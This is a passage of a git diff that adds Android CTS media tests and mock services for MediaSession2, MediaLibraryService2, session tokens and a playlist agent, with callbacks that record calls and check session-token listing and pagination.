+ public void onPlayFromMediaId(MediaSession2 session, ControllerInfo controller,
+ String mediaId, Bundle extras) {
+ assertEquals(Process.myUid(), controller.getUid());
+ mOnPlayFromMediaIdCalled = true;
+ mMediaId = mediaId;
+ mExtras = extras;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public void onPlayFromSearch(MediaSession2 session, ControllerInfo controller,
+ String query, Bundle extras) {
+ assertEquals(Process.myUid(), controller.getUid());
+ mOnPlayFromSearchCalled = true;
+ mQuery = query;
+ mExtras = extras;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public void onPlayFromUri(MediaSession2 session, ControllerInfo controller,
+ Uri uri, Bundle extras) {
+ assertEquals(Process.myUid(), controller.getUid());
+ mOnPlayFromUriCalled = true;
+ mUri = uri;
+ mExtras = extras;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public void onPrepareFromMediaId(MediaSession2 session, ControllerInfo controller,
+ String mediaId, Bundle extras) {
+ assertEquals(Process.myUid(), controller.getUid());
+ mOnPrepareFromMediaIdCalled = true;
+ mMediaId = mediaId;
+ mExtras = extras;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public void onPrepareFromSearch(MediaSession2 session, ControllerInfo controller,
+ String query, Bundle extras) {
+ assertEquals(Process.myUid(), controller.getUid());
+ mOnPrepareFromSearchCalled = true;
+ mQuery = query;
+ mExtras = extras;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public void onPrepareFromUri(MediaSession2 session, ControllerInfo controller,
+ Uri uri, Bundle extras) {
+ assertEquals(Process.myUid(), controller.getUid());
+ mOnPrepareFromUriCalled = true;
+ mUri = uri;
+ mExtras = extras;
+ mCountDownLatch.countDown();
+ }
+
+ // TODO(jaewan): Add permission test for setRating()
+ }
+
+ public class ControllerCallbackForPermissionChange extends MediaController2.ControllerCallback {
+ public CountDownLatch mCountDownLatch = new CountDownLatch(1);
+
+ @Override
+ public void onAllowedCommandsChanged(MediaController2 controller,
+ SessionCommandGroup2 commands) {
+ mCountDownLatch.countDown();
+ }
+ }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionManager_MediaSession2Test.java b/tests/tests/media/src/android/media/cts/MediaSessionManager_MediaSession2Test.java
new file mode 100644
index 0000000..8fad77a
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaSessionManager_MediaSession2Test.java
@@ -0,0 +1,339 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.media.MediaController2;
+import android.media.MediaPlayerBase;
+import android.media.MediaSession2;
+import android.media.MediaSession2.ControllerInfo;
+import android.media.MediaSession2.SessionCallback;
+import android.media.SessionCommandGroup2;
+import android.media.SessionToken2;
+import android.media.session.MediaSessionManager;
+import android.media.session.MediaSessionManager.OnSessionTokensChangedListener;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+import java.util.UUID;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests {@link MediaSessionManager} with {@link MediaSession2} specific APIs.
+ */
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@Ignore
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class MediaSessionManager_MediaSession2Test extends MediaSession2TestBase {
+ private static final String TAG = "MediaSessionManager_MediaSession2Test";
+
+ private MediaSessionManager mManager;
+ private MediaSession2 mSession;
+
+ @Before
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+ mManager = (MediaSessionManager) mContext.getSystemService(Context.MEDIA_SESSION_SERVICE);
+
+ // Specify TAG here so {@link MediaSession2.getInstance()} doesn't complaint about
+ // per test thread differs across the {@link MediaSession2} with the same TAG.
+ final MockPlayer player = new MockPlayer(1);
+ mSession = new MediaSession2.Builder(mContext)
+ .setPlayer(player)
+ .setSessionCallback(sHandlerExecutor, new SessionCallback() { })
+ .setId(TAG)
+ .build();
+ }
+
+ @After
+ @Override
+ public void cleanUp() throws Exception {
+ super.cleanUp();
+ sHandler.removeCallbacksAndMessages(null);
+ mSession.close();
+ }
+
+ // TODO(jaewan): Make this host-side test to see per-user behavior.
+ @Ignore
+ @Test
+ public void testGetMediaSession2Tokens_hasMediaController() throws InterruptedException {
+ final MockPlayer player = (MockPlayer) mSession.getPlayer();
+ player.notifyPlaybackState(MediaPlayerBase.PLAYER_STATE_IDLE);
+
+ MediaController2 controller = null;
+ List<SessionToken2> tokens = mManager.getActiveSessionTokens();
+ assertNotNull(tokens);
+ for (int i = 0; i < tokens.size(); i++) {
+ SessionToken2 token = tokens.get(i);
+ if (mContext.getPackageName().equals(token.getPackageName())
+ && TAG.equals(token.getId())) {
+ assertNull(controller);
+ controller = createController(token);
+ }
+ }
+ assertNotNull(controller);
+
+ // Test if the found controller is correct one.
+ assertEquals(MediaPlayerBase.PLAYER_STATE_IDLE, controller.getPlayerState());
+ controller.play();
+
+ assertTrue(player.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertTrue(player.mPlayCalled);
+ }
+
+ /**
+ * Test if server recognizes a session even if the session refuses the connection from server.
+ *
+ * @throws InterruptedException
+ */
+ @Test
+ public void testGetSessionTokens_sessionRejected() throws InterruptedException {
+ mSession.close();
+ mSession = new MediaSession2.Builder(mContext).setPlayer(new MockPlayer(0))
+ .setId(TAG).setSessionCallback(sHandlerExecutor, new SessionCallback() {
+ @Override
+ public SessionCommandGroup2 onConnect(
+ MediaSession2 session, ControllerInfo controller) {
+ // Reject all connection request.
+ return null;
+ }
+ }).build();
+
+ boolean foundSession = false;
+ List<SessionToken2> tokens = mManager.getActiveSessionTokens();
+ assertNotNull(tokens);
+ for (int i = 0; i < tokens.size(); i++) {
+ SessionToken2 token = tokens.get(i);
+ if (mContext.getPackageName().equals(token.getPackageName())
+ && TAG.equals(token.getId())) {
+ assertFalse(foundSession);
+ foundSession = true;
+ }
+ }
+ assertTrue(foundSession);
+ }
+
+ @Test
+ public void testGetMediaSession2Tokens_sessionClosed() throws InterruptedException {
+ mSession.close();
+
+ // When a session is closed, it should lose binder connection between server immediately.
+ // So server will forget the session.
+ List<SessionToken2> tokens = mManager.getActiveSessionTokens();
+ for (int i = 0; i < tokens.size(); i++) {
+ SessionToken2 token = tokens.get(i);
+ assertFalse(mContext.getPackageName().equals(token.getPackageName())
+ && TAG.equals(token.getId()));
+ }
+ }
+
+ @Test
+ public void testGetMediaSessionService2Token() throws InterruptedException {
+ boolean foundTestSessionService = false;
+ boolean foundTestLibraryService = false;
+ List<SessionToken2> tokens = mManager.getSessionServiceTokens();
+ for (int i = 0; i < tokens.size(); i++) {
+ SessionToken2 token = tokens.get(i);
+ if (mContext.getPackageName().equals(token.getPackageName())
+ && MockMediaSessionService2.ID.equals(token.getId())) {
+ assertFalse(foundTestSessionService);
+ assertEquals(SessionToken2.TYPE_SESSION_SERVICE, token.getType());
+ foundTestSessionService = true;
+ } else if (mContext.getPackageName().equals(token.getPackageName())
+ && MockMediaLibraryService2.ID.equals(token.getId())) {
+ assertFalse(foundTestLibraryService);
+ assertEquals(SessionToken2.TYPE_LIBRARY_SERVICE, token.getType());
+ foundTestLibraryService = true;
+ }
+ }
+ assertTrue(foundTestSessionService);
+ assertTrue(foundTestLibraryService);
+ }
+
+ @Test
+ public void testGetAllSessionTokens() throws InterruptedException {
+ boolean foundTestSession = false;
+ boolean foundTestSessionService = false;
+ boolean foundTestLibraryService = false;
+ List<SessionToken2> tokens = mManager.getAllSessionTokens();
+ for (int i = 0; i < tokens.size(); i++) {
+ SessionToken2 token = tokens.get(i);
+ if (!mContext.getPackageName().equals(token.getPackageName())) {
+ continue;
+ }
+ switch (token.getId()) {
+ case TAG:
+ assertFalse(foundTestSession);
+ foundTestSession = true;
+ break;
+ case MockMediaSessionService2.ID:
+ assertFalse(foundTestSessionService);
+ foundTestSessionService = true;
+ assertEquals(SessionToken2.TYPE_SESSION_SERVICE, token.getType());
+ break;
+ case MockMediaLibraryService2.ID:
+ assertFalse(foundTestLibraryService);
+ assertEquals(SessionToken2.TYPE_LIBRARY_SERVICE, token.getType());
+ foundTestLibraryService = true;
+ break;
+ default:
+ fail("Unexpected session " + token + " exists in the package");
+ }
+ }
+ assertTrue(foundTestSession);
+ assertTrue(foundTestSessionService);
+ assertTrue(foundTestLibraryService);
+ }
+
+ @Test
+ public void testAddOnSessionTokensChangedListener() throws InterruptedException {
+ TokensChangedListener listener = new TokensChangedListener();
+ mManager.addOnSessionTokensChangedListener(sHandlerExecutor, listener);
+
+ listener.reset();
+ MediaSession2 session1 = new MediaSession2.Builder(mContext)
+ .setPlayer(new MockPlayer(0))
+ .setId(UUID.randomUUID().toString())
+ .build();
+ assertTrue(listener.await());
+ assertTrue(listener.findToken(session1.getToken()));
+
+ listener.reset();
+ session1.close();
+ assertTrue(listener.await());
+ assertFalse(listener.findToken(session1.getToken()));
+
+ listener.reset();
+ MediaSession2 session2 = new MediaSession2.Builder(mContext)
+ .setPlayer(new MockPlayer(0))
+ .setId(UUID.randomUUID().toString())
+ .build();
+ assertTrue(listener.await());
+ assertFalse(listener.findToken(session1.getToken()));
+ assertTrue(listener.findToken(session2.getToken()));
+
+ listener.reset();
+ MediaSession2 session3 = new MediaSession2.Builder(mContext)
+ .setPlayer(new MockPlayer(0))
+ .setId(UUID.randomUUID().toString())
+ .build();
+ assertTrue(listener.await());
+ assertFalse(listener.findToken(session1.getToken()));
+ assertTrue(listener.findToken(session2.getToken()));
+ assertTrue(listener.findToken(session3.getToken()));
+
+ listener.reset();
+ session2.close();
+ assertTrue(listener.await());
+ assertFalse(listener.findToken(session1.getToken()));
+ assertFalse(listener.findToken(session2.getToken()));
+ assertTrue(listener.findToken(session3.getToken()));
+
+ listener.reset();
+ session3.close();
+ assertTrue(listener.await());
+ assertFalse(listener.findToken(session1.getToken()));
+ assertFalse(listener.findToken(session2.getToken()));
+ assertFalse(listener.findToken(session3.getToken()));
+
+ mManager.removeOnSessionTokensChangedListener(listener);
+ }
+
+ @Test
+ public void testRemoveOnSessionTokensChangedListener() throws InterruptedException {
+ TokensChangedListener listener = new TokensChangedListener();
+ mManager.addOnSessionTokensChangedListener(sHandlerExecutor, listener);
+
+ listener.reset();
+ MediaSession2 session1 = new MediaSession2.Builder(mContext)
+ .setPlayer(new MockPlayer(0))
+ .setId(UUID.randomUUID().toString())
+ .build();
+ assertTrue(listener.await());
+
+ mManager.removeOnSessionTokensChangedListener(listener);
+
+ listener.reset();
+ session1.close();
+ assertFalse(listener.await());
+
+ listener.reset();
+ MediaSession2 session2 = new MediaSession2.Builder(mContext)
+ .setPlayer(new MockPlayer(0))
+ .setId(UUID.randomUUID().toString())
+ .build();
+ assertFalse(listener.await());
+
+ listener.reset();
+ MediaSession2 session3 = new MediaSession2.Builder(mContext)
+ .setPlayer(new MockPlayer(0))
+ .setId(UUID.randomUUID().toString())
+ .build();
+ assertFalse(listener.await());
+
+ listener.reset();
+ session2.close();
+ assertFalse(listener.await());
+
+ listener.reset();
+ session3.close();
+ assertFalse(listener.await());
+ }
+
+ private class TokensChangedListener implements OnSessionTokensChangedListener {
+ private CountDownLatch mLatch;
+ private List<SessionToken2> mTokens;
+
+ private void reset() {
+ mLatch = new CountDownLatch(1);
+ mTokens = null;
+ }
+
+ private boolean await() throws InterruptedException {
+ return mLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS);
+ }
+
+ private boolean findToken(SessionToken2 token) {
+ return mTokens.contains(token);
+ }
+
+ @Override
+ public void onSessionTokensChanged(List<SessionToken2> tokens) {
+ mTokens = tokens;
+ mLatch.countDown();
+ }
+ }
+}
diff --git a/tests/tests/media/src/android/media/cts/MockMediaLibraryService2.java b/tests/tests/media/src/android/media/cts/MockMediaLibraryService2.java
new file mode 100644
index 0000000..4c4b3f6
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MockMediaLibraryService2.java
@@ -0,0 +1,236 @@
+/*
+* Copyright 2018 The Android Open Source Project
+*
+* Licensed under the Apache License, Version 2.0 (the "License");
+* you may not use this file except in compliance with the License.
+* You may obtain a copy of the License at
+*
+* http://www.apache.org/licenses/LICENSE-2.0
+*
+* Unless required by applicable law or agreed to in writing, software
+* distributed under the License is distributed on an "AS IS" BASIS,
+* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+* See the License for the specific language governing permissions and
+* limitations under the License.
+*/
+
+package android.media.cts;
+
+import static junit.framework.Assert.fail;
+
+import static org.junit.Assert.assertEquals;
+
+import android.content.Context;
+import android.media.DataSourceDesc;
+import android.media.MediaItem2;
+import android.media.MediaLibraryService2;
+import android.media.MediaMetadata2;
+import android.media.MediaSession2.ControllerInfo;
+import android.media.MediaLibraryService2.MediaLibrarySession.MediaLibrarySessionCallback;
+import android.media.SessionToken2;
+import android.media.cts.TestUtils.SyncHandler;
+import android.os.Bundle;
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import android.util.Log;
+
+import java.io.FileDescriptor;
+import java.util.ArrayList;
+import java.util.List;
+
+import java.util.concurrent.Executor;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+
+import javax.annotation.concurrent.GuardedBy;
+
+/**
+ * Mock implementation of {@link MediaLibraryService2} for testing.
+ */
+public class MockMediaLibraryService2 extends MediaLibraryService2 {
+ // Keep in sync with the AndroidManifest.xml
+ public static final String ID = "TestLibrary";
+
+ public static final String ROOT_ID = "rootId";
+ public static final Bundle EXTRAS = new Bundle();
+
+ public static final String MEDIA_ID_GET_ITEM = "media_id_get_item";
+
+ public static final String PARENT_ID = "parent_id";
+ public static final String PARENT_ID_NO_CHILDREN = "parent_id_no_children";
+ public static final String PARENT_ID_ERROR = "parent_id_error";
+
+ public static final List<MediaItem2> GET_CHILDREN_RESULT = new ArrayList<>();
+ public static final int CHILDREN_COUNT = 100;
+
+ public static final String SEARCH_QUERY = "search_query";
+ public static final String SEARCH_QUERY_TAKES_TIME = "search_query_takes_time";
+ public static final int SEARCH_TIME_IN_MS = 5000;
+ public static final String SEARCH_QUERY_EMPTY_RESULT = "search_query_empty_result";
+
+ public static final List<MediaItem2> SEARCH_RESULT = new ArrayList<>();
+ public static final int SEARCH_RESULT_COUNT = 50;
+
+ private static final DataSourceDesc DATA_SOURCE_DESC =
+ new DataSourceDesc.Builder().setDataSource(new FileDescriptor()).build();
+
+ private static final String TAG = "MockMediaLibrarySvc2";
+
+ static {
+ EXTRAS.putString(ROOT_ID, ROOT_ID);
+ }
+ @GuardedBy("MockMediaLibraryService2.class")
+ private static SessionToken2 sToken;
+
+ private MediaLibrarySession mSession;
+
+ public MockMediaLibraryService2() {
+ super();
+ GET_CHILDREN_RESULT.clear();
+ String getChildrenMediaIdPrefix = "get_children_media_id_";
+ for (int i = 0; i < CHILDREN_COUNT; i++) {
+ GET_CHILDREN_RESULT.add(createMediaItem(getChildrenMediaIdPrefix + i));
+ }
+
+ SEARCH_RESULT.clear();
+ String getSearchResultMediaIdPrefix = "get_search_result_media_id_";
+ for (int i = 0; i < SEARCH_RESULT_COUNT; i++) {
+ SEARCH_RESULT.add(createMediaItem(getSearchResultMediaIdPrefix + i));
+ }
+ }
+
+ @Override
+ public void onCreate() {
+ TestServiceRegistry.getInstance().setServiceInstance(this);
+ super.onCreate();
+ }
+
+ @Override
+ public MediaLibrarySession onCreateSession(String sessionId) {
+ final MockPlayer player = new MockPlayer(1);
+ final SyncHandler handler = (SyncHandler) TestServiceRegistry.getInstance().getHandler();
+ final Executor executor = (runnable) -> handler.post(runnable);
+ MediaLibrarySessionCallback librarySessionCallback = (MediaLibrarySessionCallback)
+ TestServiceRegistry.getInstance().getSessionCallback();
+ if (librarySessionCallback == null) {
+ // Use default callback
+ librarySessionCallback = new TestLibrarySessionCallback();
+ }
+ mSession = new MediaLibrarySession.Builder(MockMediaLibraryService2.this, executor,
+ librarySessionCallback).setPlayer(player).setId(sessionId).build();
+ return mSession;
+ }
+
+ @Override
+ public void onDestroy() {
+ super.onDestroy();
+ TestServiceRegistry.getInstance().cleanUp();
+ }
+
+ public static SessionToken2 getToken(Context context) {
+ synchronized (MockMediaLibraryService2.class) {
+ if (sToken == null) {
+ sToken = new SessionToken2(context, context.getPackageName(),
+ MockMediaLibraryService2.class.getName());
+ assertEquals(SessionToken2.TYPE_LIBRARY_SERVICE, sToken.getType());
+ }
+ return sToken;
+ }
+ }
+
+ private class TestLibrarySessionCallback extends MediaLibrarySessionCallback {
+ @Override
+ public LibraryRoot onGetLibraryRoot(MediaLibrarySession session, ControllerInfo controller,
+ Bundle rootHints) {
+ return new LibraryRoot(ROOT_ID, EXTRAS);
+ }
+
+ @Override
+ public MediaItem2 onGetItem(MediaLibrarySession session, ControllerInfo controller,
+ String mediaId) {
+ if (MEDIA_ID_GET_ITEM.equals(mediaId)) {
+ return createMediaItem(mediaId);
+ } else {
+ return null;
+ }
+ }
+
+ @Override
+ public List<MediaItem2> onGetChildren(MediaLibrarySession session,
+ ControllerInfo controller, String parentId, int page, int pageSize, Bundle extras) {
+ if (PARENT_ID.equals(parentId)) {
+ return getPaginatedResult(GET_CHILDREN_RESULT, page, pageSize);
+ } else if (PARENT_ID_ERROR.equals(parentId)) {
+ return null;
+ }
+ // Includes the case of PARENT_ID_NO_CHILDREN.
+ return new ArrayList<>();
+ }
+
+ @Override
+ public void onSearch(MediaLibrarySession session, ControllerInfo controllerInfo,
+ String query, Bundle extras) {
+ if (SEARCH_QUERY.equals(query)) {
+ mSession.notifySearchResultChanged(controllerInfo, query, SEARCH_RESULT_COUNT,
+ extras);
+ } else if (SEARCH_QUERY_TAKES_TIME.equals(query)) {
+ // Searching takes some time. Notify after 5 seconds.
+ Executors.newSingleThreadScheduledExecutor().schedule(new Runnable() {
+ @Override
+ public void run() {
+ mSession.notifySearchResultChanged(
+ controllerInfo, query, SEARCH_RESULT_COUNT, extras);
+ }
+ }, SEARCH_TIME_IN_MS, TimeUnit.MILLISECONDS);
+ } else if (SEARCH_QUERY_EMPTY_RESULT.equals(query)) {
+ mSession.notifySearchResultChanged(controllerInfo, query, 0, extras);
+ } else {
+ // TODO: For the error case, how should we notify the browser?
+ }
+ }
+
+ @Override
+ public List<MediaItem2> onGetSearchResult(MediaLibrarySession session,
+ ControllerInfo controllerInfo, String query, int page, int pageSize,
+ Bundle extras) {
+ if (SEARCH_QUERY.equals(query)) {
+ return getPaginatedResult(SEARCH_RESULT, page, pageSize);
+ } else {
+ return null;
+ }
+ }
+ }
+
+ private List<MediaItem2> getPaginatedResult(List<MediaItem2> items, int page, int pageSize) {
+ if (items == null) {
+ return null;
+ } else if (items.size() == 0) {
+ return new ArrayList<>();
+ }
+
+ final int totalItemCount = items.size();
+ int fromIndex = (page - 1) * pageSize;
+ int toIndex = Math.min(page * pageSize, totalItemCount);
+
+ List<MediaItem2> paginatedResult = new ArrayList<>();
+ try {
+ // The case of (fromIndex >= totalItemCount) will throw exception below.
+ paginatedResult = items.subList(fromIndex, toIndex);
+ } catch (IndexOutOfBoundsException | IllegalArgumentException ex) {
+ Log.d(TAG, "Result is empty for given pagination arguments: totalItemCount="
+ + totalItemCount + ", page=" + page + ", pageSize=" + pageSize, ex);
+ }
+ return paginatedResult;
+ }
+
+ private MediaItem2 createMediaItem(String mediaId) {
+ Context context = MockMediaLibraryService2.this;
+ return new MediaItem2.Builder(0 /* Flags */)
+ .setMediaId(mediaId)
+ .setDataSourceDesc(DATA_SOURCE_DESC)
+ .setMetadata(new MediaMetadata2.Builder()
+ .putString(MediaMetadata2.METADATA_KEY_MEDIA_ID, mediaId)
+ .build())
+ .build();
+ }
+}
diff --git a/tests/tests/media/src/android/media/cts/MockMediaSessionService2.java b/tests/tests/media/src/android/media/cts/MockMediaSessionService2.java
new file mode 100644
index 0000000..330637e
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MockMediaSessionService2.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.content.Context;
+import android.media.MediaSession2;
+import android.media.MediaSession2.SessionCallback;
+import android.media.MediaSessionService2;
+import android.media.cts.TestUtils.SyncHandler;
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import java.util.concurrent.Executor;
+
+/**
+ * Mock implementation of {@link MediaSessionService2} for testing.
+ */
+public class MockMediaSessionService2 extends MediaSessionService2 {
+ // Keep in sync with the AndroidManifest.xml
+ public static final String ID = "TestSession";
+
+ private static final String DEFAULT_MEDIA_NOTIFICATION_CHANNEL_ID = "media_session_service";
+ private static final int DEFAULT_MEDIA_NOTIFICATION_ID = 1001;
+
+ private NotificationChannel mDefaultNotificationChannel;
+ private MediaSession2 mSession;
+ private NotificationManager mNotificationManager;
+
+ @Override
+ public void onCreate() {
+ TestServiceRegistry.getInstance().setServiceInstance(this);
+ super.onCreate();
+ mNotificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+ }
+
+ @Override
+ public MediaSession2 onCreateSession(String sessionId) {
+ final MockPlayer player = new MockPlayer(1);
+ final SyncHandler handler = (SyncHandler) TestServiceRegistry.getInstance().getHandler();
+ final Executor executor = (runnable) -> handler.post(runnable);
+ SessionCallback sessionCallback = TestServiceRegistry.getInstance().getSessionCallback();
+ if (sessionCallback == null) {
+ // Ensures non-null
+ sessionCallback = new SessionCallback() {};
+ }
+ mSession = new MediaSession2.Builder(this)
+ .setPlayer(player)
+ .setSessionCallback(executor, sessionCallback)
+ .setId(sessionId).build();
+ return mSession;
+ }
+
+ @Override
+ public void onDestroy() {
+ super.onDestroy();
+ TestServiceRegistry.getInstance().cleanUp();
+ }
+
+ @Override
+ public MediaNotification onUpdateNotification() {
+ if (mDefaultNotificationChannel == null) {
+ mDefaultNotificationChannel = new NotificationChannel(
+ DEFAULT_MEDIA_NOTIFICATION_CHANNEL_ID,
+ DEFAULT_MEDIA_NOTIFICATION_CHANNEL_ID,
+ NotificationManager.IMPORTANCE_DEFAULT);
+ mNotificationManager.createNotificationChannel(mDefaultNotificationChannel);
+ }
+ Notification notification = new Notification.Builder(
+ this, DEFAULT_MEDIA_NOTIFICATION_CHANNEL_ID)
+ .setContentTitle(getPackageName())
+ .setContentText("Dummt test notification")
+ .setSmallIcon(android.R.drawable.sym_def_app_icon).build();
+ return new MediaNotification(DEFAULT_MEDIA_NOTIFICATION_ID, notification);
+ }
+}
diff --git a/tests/tests/media/src/android/media/cts/MockPlaylistAgent.java b/tests/tests/media/src/android/media/cts/MockPlaylistAgent.java
new file mode 100644
index 0000000..ca7bc92
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MockPlaylistAgent.java
@@ -0,0 +1,143 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.media.MediaItem2;
+import android.media.MediaMetadata2;
+import android.media.MediaPlaylistAgent;
+
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+
+/**
+ * A mock implementation of {@link MediaPlaylistAgent} for testing.
+ * <p>
+ * Do not use mockito for {@link MediaPlaylistAgent}. Instead, use this.
+ * Mocks created from mockito should not be shared across different threads.
+ */
+public class MockPlaylistAgent extends MediaPlaylistAgent {
+ public final CountDownLatch mCountDownLatch = new CountDownLatch(1);
+
+ public List<MediaItem2> mPlaylist;
+ public MediaMetadata2 mMetadata;
+ public MediaItem2 mItem;
+ public int mIndex = -1;
+ public @RepeatMode int mRepeatMode = -1;
+ public @ShuffleMode int mShuffleMode = -1;
+
+ public boolean mSetPlaylistCalled;
+ public boolean mUpdatePlaylistMetadataCalled;
+ public boolean mAddPlaylistItemCalled;
+ public boolean mRemovePlaylistItemCalled;
+ public boolean mReplacePlaylistItemCalled;
+ public boolean mSkipToPlaylistItemCalled;
+ public boolean mSkipToPreviousItemCalled;
+ public boolean mSkipToNextItemCalled;
+ public boolean mSetRepeatModeCalled;
+ public boolean mSetShuffleModeCalled;
+
+ @Override
+ public List<MediaItem2> getPlaylist() {
+ return mPlaylist;
+ }
+
+ @Override
+ public void setPlaylist(List<MediaItem2> list, MediaMetadata2 metadata) {
+ mSetPlaylistCalled = true;
+ mPlaylist = list;
+ mMetadata = metadata;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public MediaMetadata2 getPlaylistMetadata() {
+ return mMetadata;
+ }
+
+ @Override
+ public void updatePlaylistMetadata(MediaMetadata2 metadata) {
+ mUpdatePlaylistMetadataCalled = true;
+ mMetadata = metadata;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public void addPlaylistItem(int index, MediaItem2 item) {
+ mAddPlaylistItemCalled = true;
+ mIndex = index;
+ mItem = item;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public void removePlaylistItem(MediaItem2 item) {
+ mRemovePlaylistItemCalled = true;
+ mItem = item;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public void replacePlaylistItem(int index, MediaItem2 item) {
+ mReplacePlaylistItemCalled = true;
+ mIndex = index;
+ mItem = item;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public void skipToPlaylistItem(MediaItem2 item) {
+ mSkipToPlaylistItemCalled = true;
+ mItem = item;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public void skipToPreviousItem() {
+ mSkipToPreviousItemCalled = true;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public void skipToNextItem() {
+ mSkipToNextItemCalled = true;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public int getRepeatMode() {
+ return mRepeatMode;
+ }
+
+ @Override
+ public void setRepeatMode(int repeatMode) {
+ mSetRepeatModeCalled = true;
+ mRepeatMode = repeatMode;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public int getShuffleMode() {
+ return mShuffleMode;
+ }
+
+ @Override
+ public void setShuffleMode(int shuffleMode) {
+ mSetShuffleModeCalled = true;
+ mShuffleMode = shuffleMode;
+ mCountDownLatch.countDown();
+ }
+}
\ No newline at end of file
diff --git a/tests/tests/media/src/android/media/cts/SessionToken2Test.java b/tests/tests/media/src/android/media/cts/SessionToken2Test.java
new file mode 100644
index 0000000..a930698
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/SessionToken2Test.java
@@ -0,0 +1,69 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static junit.framework.Assert.assertEquals;
+
+import android.content.Context;
+import android.media.SessionToken2;
+import android.os.Process;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests {@link SessionToken2}.
+ */
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@Ignore
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class SessionToken2Test {
+ private Context mContext;
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ }
+
+ @Test
+ public void testConstructor_sessionService() {
+ SessionToken2 token = new SessionToken2(mContext, mContext.getPackageName(),
+ MockMediaSessionService2.class.getCanonicalName());
+ assertEquals(MockMediaSessionService2.ID, token.getId());
+ assertEquals(mContext.getPackageName(), token.getPackageName());
+ assertEquals(Process.myUid(), token.getUid());
+ assertEquals(SessionToken2.TYPE_SESSION_SERVICE, token.getType());
+ }
+
+ @Test
+ public void testConstructor_libraryService() {
